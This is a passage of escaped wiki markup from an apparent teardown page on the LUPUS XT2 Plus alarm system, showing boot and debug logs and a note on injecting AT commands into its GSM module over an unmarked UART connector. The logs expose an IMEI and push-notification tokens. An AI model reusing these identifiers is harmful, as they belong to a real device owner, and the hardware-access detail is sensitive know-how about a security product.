[INFO][DEV ]device_type_always_on: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_switch: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_btn_macro: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_siren_vol: 2 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_bxsr_param: 1 item(s) loaded&lt;br /&gt;
[INFO][DEV ]device_type_binding: 1 item(s) loaded&lt;br /&gt;
[INFO][DEV ]15 device(s) loaded&lt;br /&gt;
[INFO][DEV ]0 learn rule(s) loaded&lt;br /&gt;
[INFO][DEV ]0 device(s)&#039;s schedule loaded&lt;br /&gt;
[INFO][DEV ]0 device(s)&#039;s UPIC name loaded&lt;br /&gt;
[INFO][DEV ]8 group(s) loaded&lt;br /&gt;
[ERR!][MISC]open sig file fail: &#039;config/history.json&#039;&lt;br /&gt;
[ERR!][DEV ]Fail open for reading&lt;br /&gt;
[INFO][DEV ]0 week schd loaded&lt;br /&gt;
[INFO][MISC]5 note(s) loaded&lt;br /&gt;
[INFO][MISC]5 consumer(s) loaded&lt;br /&gt;
i2c-adapter i2c-0: NAK!&lt;br /&gt;
[INFO][MISC]889 string(s) loaded&lt;br /&gt;
i2c-adapter i2c-0: I2C TX data 0x0 timeout!&lt;br /&gt;
i2c-adapter i2c-0: NAK!&lt;br /&gt;
[WARN][MISC]I2C write fail&lt;br /&gt;
i2c-adapter i2c-0: I2C RX timeout!&lt;br /&gt;
[WARN][MISC]I2C read fail&lt;br /&gt;
[INFO][MISC]I2C CFG=0&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][WEB ]web session initialized&lt;br /&gt;
[INFO][WEB ]50 token loaded&lt;br /&gt;
[INFO][WEB ]Initialized&lt;br /&gt;
[INFO][XCMD]Initialized&lt;br /&gt;
[INFO][SCMD]Initialized&lt;br /&gt;
[NOTE][WEB ]Mongoose 3.1 on port 80,443s&lt;br /&gt;
[INFO][NET ]Initialized SSL&lt;br /&gt;
[INFO][WORK]Initialized&lt;br /&gt;
[INFO][BEEP]Initialized&lt;br /&gt;
[INFO][LED ]Initialized&lt;br /&gt;
[INFO][MISC]Initialized&lt;br /&gt;
[INFO][ZB  ]Initialized&lt;br /&gt;
[INFO][ZBS ]Initialized&lt;br /&gt;
[INFO][GSM ]Initialized&lt;br /&gt;
[INFO][VFA ]Module not exist&lt;br /&gt;
[INFO][ZBS ]auto scan /dev/ttyS0 success&lt;br /&gt;
[INFO][WORK]setup eth0...&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoHello&#039;&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoJoinDisable&#039;&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoCheckVersion&#039;&lt;br /&gt;
[INFO][VFA ]Initialized&lt;br /&gt;
[INFO][RF  ]Initialized&lt;br /&gt;
[INFO][RFEX]no rf ext&lt;br /&gt;
[INFO][RFEX]Initialized&lt;br /&gt;
[INFO][ZWAV]Initialized&lt;br /&gt;
[INFO][DNS ]Initialized&lt;br /&gt;
[INFO][UPNP]Initialized&lt;br /&gt;
[INFO][FIND]Initialized&lt;br /&gt;
[INFO][FRTZ]Initialized&lt;br /&gt;
[ERR!][MISC]file sig fail: &#039;config/fritzbox.json.md5sum&#039;&lt;br /&gt;
[ERR!][FRTZ]Fail open for reading&lt;br /&gt;
[INFO][RPT ]report setting loaded&lt;br /&gt;
[INFO][RPT ]Initialized&lt;br /&gt;
[INFO][ALRM]5 user(s) loaded&lt;br /&gt;
[INFO][ALRM]2 area(s) loaded&lt;br /&gt;
[INFO][ALRM]0 rule(s) loaded&lt;br /&gt;
[INFO][ALRM]HA prop=0&lt;br /&gt;
[ERR!][MISC]file sig fail: &#039;config/ha_profile.json.md5sum&#039;&lt;br /&gt;
[ERR!][ALRM]Fail open for reading&lt;br /&gt;
[INFO][ALRM]0 media(s) loaded&lt;br /&gt;
[INFO][ALRM]151 history(s) loaded&lt;br /&gt;
[INFO][DNS ]Apply config changed&lt;br /&gt;
killall: udhcpc: no process killed&lt;br /&gt;
[INFO][ALRM]1000 report(s) loaded&lt;br /&gt;
[DBG ][ALRM]USBHUB=0&lt;br /&gt;
[DBG ][ALRM]HMGW=0,0&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoSetJamRSSI&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoSetSeedRF&#039;&lt;br /&gt;
[INFO][ALRM]Initialized&lt;br /&gt;
[DBG ][ZBS ]ZDO_ACTIVE_EP_RSP: 0,0,0,0&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoBeepBX&#039;&lt;br /&gt;
[NOTE][ALRM]Alarm ready&lt;br /&gt;
udhcpc (v1.20.2) started&lt;br /&gt;
Sending discover...&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SYSSTART&#039;&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[INFO][ZB  ]N/A for &#039;DoDebugCommand&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:0:5&lt;br /&gt;
[DBG ][ALRM]classify: seq=1, attr=0, act=OnCablePlugEth,&amp;quot;0&amp;quot;&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]pan=b87d, ch=15&lt;br /&gt;
[DBG ][ZBS ]n=0&lt;br /&gt;
[INFO][FRTZ]Apply config changed&lt;br /&gt;
Sending discover...&lt;br /&gt;
[INFO][RPT ]Apply config changed&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
[DBG ][ZBS ]ZDO_SIMPLE_DESC_RSP: 4,1,1,0&lt;br /&gt;
[DBG ][ZBS ]OTA=4&lt;br /&gt;
Sending discover...&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATZ&#039;&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATZ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATI&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;Cinterion&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;BGS2-W&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;REVISION 01.301&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CMEE=1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG=0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CMER=2,0,0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CIND=1,1,1,1,1,1,1,1,1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: battchg,5&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: signal,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: service,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: sounder,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: message,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: call,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: roam,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: smsfull,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CIEV: rssi,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SIND=&amp;quot;nitz&amp;quot;,1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SIND: nitz,1,&amp;quot;&amp;quot;,+00&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCKS?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SCKS: 0,0&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCKS=1&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT^SCFG=&amp;quot;Audio/AMR&amp;quot;,&amp;quot;disabled&amp;quot;&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;^SCFG: &amp;quot;Audio/AMR&amp;quot;,&amp;quot;disabled&amp;quot;&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
[INFO][WORK]setup end&lt;br /&gt;
[INFO][WORK]restart DHCP&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]try old RF/51&lt;br /&gt;
[ERR!][RF  ]&#039;DoHello&#039; timeout!&lt;br /&gt;
[INFO][RF  ]&#039;DoHello&#039; retry!&lt;br /&gt;
[INFO][RF  ]type:42&lt;br /&gt;
[INFO][RF  ]module:41&lt;br /&gt;
[INFO][RF  ]rf type:30&lt;br /&gt;
[INFO][RF  ]rf freq:7&lt;br /&gt;
[INFO][RF  ]ver:HPGW-L2-XA35A len:13&lt;br /&gt;
[INFO][ALRM]OnVersion: &#039;RF&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoProgramAssociation&#039;&lt;br /&gt;
[INFO][RFEX]N/A for &#039;DoProgramConfig&#039;&lt;br /&gt;
udhcpc (v1.20.2) started&lt;br /&gt;
Sending discover...&lt;br /&gt;
[ERR!][NET ]network select error (Resource temporarily unavailable)&lt;br /&gt;
[DBG ][GSPK][W] &#039;ATI&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;Cinterion&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;BGS2-W&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;REVISION 01.301&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CGSN&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;356449063567159&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
Sending discover...&lt;br /&gt;
Sending discover...&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
[INFO][WORK]setup wifi...&lt;br /&gt;
[DBG ][ALRM]classify: seq=47, attr=0, act=OnConnectWLAN,&amp;quot;0&amp;quot;,&amp;quot;init&amp;quot;&lt;br /&gt;
killall: wpa_supplicant: no process killed&lt;br /&gt;
ifconfig: ioctl 0x8913 failed: No such device&lt;br /&gt;
[INFO][WORK]setup end&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:1:0&lt;br /&gt;
[DBG ][GSPK][R] &#039;test&#039;&lt;br /&gt;
[WARN][GSM ]expect an unsolicited: &#039;test&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;This is a message entered via UART, send to the GSM module&#039;&lt;br /&gt;
[WARN][GSM ]expect an unsolicited: &#039;This is a message entered via UART, send to the GSM module&#039;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;GSM&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The LUPUS XT2 Plus is equipped with a &amp;quot;CINERON BGS2-W&amp;quot; 2G Wireless Module. This GSM 850/900/1800/1900 GPRS module has the unique FCC ID [[https://fccid.io/QIPBGS2|QIPBGS2]].  The board also provides a designated interface for accessing the GSM module.  However, this interface is not clearly marked. This is the second white 3-pin connector which is located in the lower right corner, or just above the GSM module on the right. By means of UART commands can be injected into the module. As you can see on the [[#Bootlog]], the output of the GSM module is displayed there together with the output of the [[#MCU]]. But the input is only done via the connector just mentioned. Just google &amp;quot;BGS2-W AT Command Set&amp;quot; for instructions and explanations.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Example Output&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:10:0&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:11:0&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[Disconnected]&lt;br /&gt;
[Connected]&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=149, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=151, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=153, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]reporting end&lt;br /&gt;
[INFO][ALRM]report ok: id=6524&lt;br /&gt;
[DBG ][ALRM]common: seq=155, attr=0, act=OnTriggerRestore,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]singlearea: seq=155, attr=0, act=OnTriggerRestore,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]common: seq=157, attr=0, act=OnTamper,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[DBG ][ALRM]singlearea: seq=157, attr=0, act=OnTamper,&amp;quot;RF:04090810&amp;quot;,&amp;quot;9&amp;quot;,&amp;quot;4&amp;quot;,&amp;quot;1&amp;quot;,&amp;quot;0409081e1e02&amp;quot;&lt;br /&gt;
[INFO][RPT ]reporting start&lt;br /&gt;
[INFO][ALRM]remove report: 5525&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[DBG ][RPT ]retry #0&lt;br /&gt;
[INFO][RPT ]scheme:apns:// host:9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03 port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=161, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=163, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=165, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[DBG ][ALRM]HA regular check time: now=1970/1/1 1:15:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=167, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=170, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=172, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=174, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][ALRM]remove report: 5526&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=177, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=181, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=183, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=185, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=187, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CSQ&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CSQ: 99,99&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[DBG ][GSPK][W] &#039;AT+CREG?&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;+CREG: 0,2&#039;&lt;br /&gt;
[DBG ][GSPK][R] &#039;OK&#039;&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=191, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=193, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=195, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=197, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]APNS connect fail&lt;br /&gt;
[INFO][RPT ]url=&#039;apns://0@9420d57ba5cdac9ec8a9c95714ad5d5b26eedd5147beb12f78d1f47c0d5b9e03/TEXT&#039;, ret=-702, reason=&#039;{LOG_MSG_RPT_SMS_FAIL}&#039;, event=383, text=&#039;Area 1  Zone 3 Küche Hinten 2: Sabotage&lt;br /&gt;
[INFO][RPT ]scheme:gcm:// host:APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7 port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=200, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=202, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=204, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=206, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[INFO][NET ]max retry&lt;br /&gt;
[ERR!][NET ]http ssl send connect fail&lt;br /&gt;
[ERR!][WNET]GCM: ret=-99&lt;br /&gt;
[INFO][RPT ]url=&#039;gcm://0@APA91bEsVXbFspyyBj6wJHzT7xAjifb-sQqu5eR3nStDFgHtLClVb3ZtHKhg2gWvpDtO3O4ib2u4oUxBF_3Cn0SmuomU4GO_6OwDoo7cf483PVCVeT_OAuhg563i1jD5S2sfkd1dWhf7/TEXT&#039;, ret=-702, reason=&#039;{LOG_MS&lt;br /&gt;
[INFO][RPT ]scheme:gcm:// host:APA91bGDleDckmX774Lr87-bPuoVu-jJerUQ1HPDCqU0DZj71gL3OZwJzI_YgOV3CP6vb_A99KLdjV_885mN6y4CW7qzijZyo8BBo4HRq4twW7yGj7LNATFRtriYq3-QcMbArxhWUDTZ port:80 acct:0&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=209, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=211, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=213, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
[DBG ][ALRM]Switch net if -1, ret=-3&lt;br /&gt;
[ERR!][DNS ]&#039;DoLookupHost&#039; timeout!&lt;br /&gt;
[DBG ][ALRM]classify: seq=216, attr=1, act=DoSwitchNetInterface,&amp;quot;-1&amp;quot;&lt;br /&gt;
